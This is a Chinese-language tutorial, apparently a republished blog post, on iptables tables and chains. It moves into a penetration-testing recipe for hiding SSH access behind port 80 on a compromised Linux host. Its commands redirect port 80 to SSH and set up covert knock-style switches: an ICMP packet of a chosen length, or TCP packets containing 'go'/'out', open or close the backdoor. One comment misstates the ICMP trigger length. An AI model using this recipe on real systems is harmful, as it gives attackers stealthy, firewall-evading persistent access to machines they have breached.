Linux 利用 iptables 做端口複用
iptables 基礎
我們自定義的所有規則,都是這四種分類中的規則,或者說,所有規則都存在於這 4 張” 表” 中
#1 主動
包含 4 個表:4 個表的優先級由高到低:raw-->mangle-->nat-->filter
#1.1 raw
RAW 表只使用在 PREROUTING 鏈和 OUTPUT 鏈上, 因爲優先級最高,從而可以對收到的數據包在連接跟蹤前進行處理。一但用戶使用了 RAW 表, 在某個鏈上, RAW 表處理完後, 將跳過 NAT 表和 ip_conntrack 處理, 即不再做地址轉換和數據包的鏈接跟蹤處理了
#1.2 mangle
此規則表擁有 prerouting、FORWARD、postrouting 三個規則鏈,除了進行網址轉譯工作會改寫封包外,在某些特殊應用可能也必須去改寫封包 (ITL、TOS) 或者是設定 MARK(將封包作記號,以進行後續的過濾)這時就必須將這些工作定義在 mangles 規則表中
*#1.3 nat
此規則表擁有 prerouting 和 postrouting 兩個規則鏈, 主要功能爲進行一對一、一對多、多對多等網址轉譯工作(SNATDNAT)
#1.4 filter
這個規則表是預設規則表,擁有 INPUT、FORWARD 和 OUTPUT 三個規則鏈; 負責過濾功能,防火牆;內核模塊:iptables_filter
#2 常用命令和參數
舉例:iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22
常用命令:-A 追加規則-->iptables -A INPUT
-D 刪除規則-->iptables -D INPUT 1(編號)
-R 修改規則-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代現行規則,順序不變(1是位置)
-I 插入規則-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一條規則,原本位置上的規則將會往後移動一個順位
-L 查看規則-->iptables -L INPUT 列出規則鏈中的所有規則
-N 新的規則-->iptables -N allowed 定義新的規則
-t 指定nat就看nat表信息,不用-t 默認filter表
-n 使輸出中的IP地址和端口以數值的形式顯示
-V 輸出詳細化
--line 顯示出每條規則在相應鏈中的序號
通用參數:-p 協議 例:iptables -A INPUT -p tcp
-s源地址 例:iptables -A INPUT -s 192.168.1.1
-d目的地址 例:iptables -A INPUT -d 192.168.12.1
-sport源端口 例:iptables -A INPUT -p tcp --sport 22
-dport目的端口 例:iptables -A INPUT -p tcp --dport 22
-i指定入口網卡 例:iptables -A INPUT -i eth0
-o指定出口網卡 例:iptables -A FORWARD -o eth0
#2.1 舉例
iptables -t nat -nL --line
註釋:
PREROUTING 鏈:PREROUTING 鏈的作用是在包剛剛到達防火牆時改變它的目的地址,是從外部連接過來時的轉發
OUTPUT 鏈:OUTPUT 鏈改變本地產生的包的目的地址,是本機連接時的轉發
POSTROUTING 鏈:POSTROUTING 鏈在包就要離開防火牆之前改變其源地址
利用情況
在做滲透測試的過程中,我們經常會遇到下面這種問題:
目標主機是 Linux 系統,目標主機防火牆有嚴格的限制,只允許 80 端口的流量進入。我們拿到了目標主機的 Webshell 並且拿到了 SSH 的賬號密碼,但因爲防火牆限制不能連接 22 端口,這時就需要利用 80 端口做端口複用連接。
現在我們的思路就是利用 Linux 的 iptables 防火牆的 nat 表的 PREROUTING 鏈做端口複用,因爲 nat 表的 PREROUTING 鏈會在路由決策之前被處理
實際利用
Kali:192.168.152.250
目標機:192.168.152.135
#1 根據源地址做端口複用
#1.1 目標機執行以下命令
iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22 //將192.168.152.250訪問80端口的流量都重定向到22端口
iptables -t nat -nvL //查看規則
**
#1.2 kali 上執行命令
ssh -p 80 root@192.168.152.135
#1.3 缺點
訪問目標主機 80 端口的流量都會被轉給 22 端口,所以 HTTP 服務無法訪問
#2 根據源地址做端口複用
#2.1 目標機執行以下命令
iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --sport 5555 --dport 80 -j REDIRECT --to-port 22 //指定來自192.168.152.250主機的5555端口訪問80端口的流量纔會被轉給22端口
iptables -t nat -nvL
#2.2 kali 上執行命令
用 socat 將本地 4444 端口的流量以源端口 5555 訪問 192.168.152.135:80,然後 SSH 本地的 4444 端口即可
nohup socat tcp-listen:4444,fork,reuseaddr tcp:192.168.152.135:80,sourceport=5555,reuseaddr
ssh -p 4444 root@127.0.0.1
#2.3 缺點
不支持多連接 如果想創建兩個 SSH 連接就會出錯,因爲本地的 5555 端口已經被第一個 SSH 連接佔用了
#3利用 ICMP 協議做遙控開關
#3.1 創建端口複用鏈及規則
iptables -t nat -N LETMEIN //創建端口複用鏈
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口複用規則,將流量轉發至 22 端口
iptables -t nat -nvL
#3.2 創建開關*
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT //開啓開關,如果接收到一個長爲 1139 的 ICMP 包,則將來源 IP 添加到加爲letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個長爲 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處於 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間爲 3600 秒
#3.3 kali 上執行命令
開啓複用
ping -c 1 -s 1000 192.168.152.135 //向目標發送一個長度爲 1000 的 ICMP 數據包(加上包頭28,總長度實際爲1028,對應上上面設置的開啓長度1028)
關閉複用
ping -c 1 -s 1001 192.168.152.135 //向目標發送一個長度爲 1001 的 ICMP 數據包(加上包頭28,總長度實際爲1029,對應上上面設置的關閉長度1029)
**
#3.4 缺點
如果目標在內網,你是無法直接 ping 到它的
#4 利用 TCP 協議做遙控開關
利用 tcp 數據包中的關鍵字做遙控開關,不怕目標在內網
#4.1 端口複用鏈及規則
iptables -t nat -N LETMEIN //創建端口複用鏈
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口複用規則,將流量轉發至 22 端口
iptables -t nat -nvL
#4.2 創建開關
iptables -A INPUT -p tcp -m string --string 'go' --algo bm -m recent --set --name letmein --rsource -j ACCEPT //開啓開關,如果接收到一個含有 go 的TCP包,則將來源 IP 添加到加爲letmein的列表中
iptables -A INPUT -p tcp -m string --string 'out' --algo bm -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個含有 out 的TCP包,則將來源 IP 從letmein的列表中移除
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處於 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間爲 3600 秒
#4.3 kali 上執行命令
開啓複用
echo go | socat - tcp:192.168.152.135:80
關閉複用
echo out | socat - tcp:192.168.152.135:80
本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源:https://mp.weixin.qq.com/s/Ri1poaoc2Vkr8JyWQDzA3w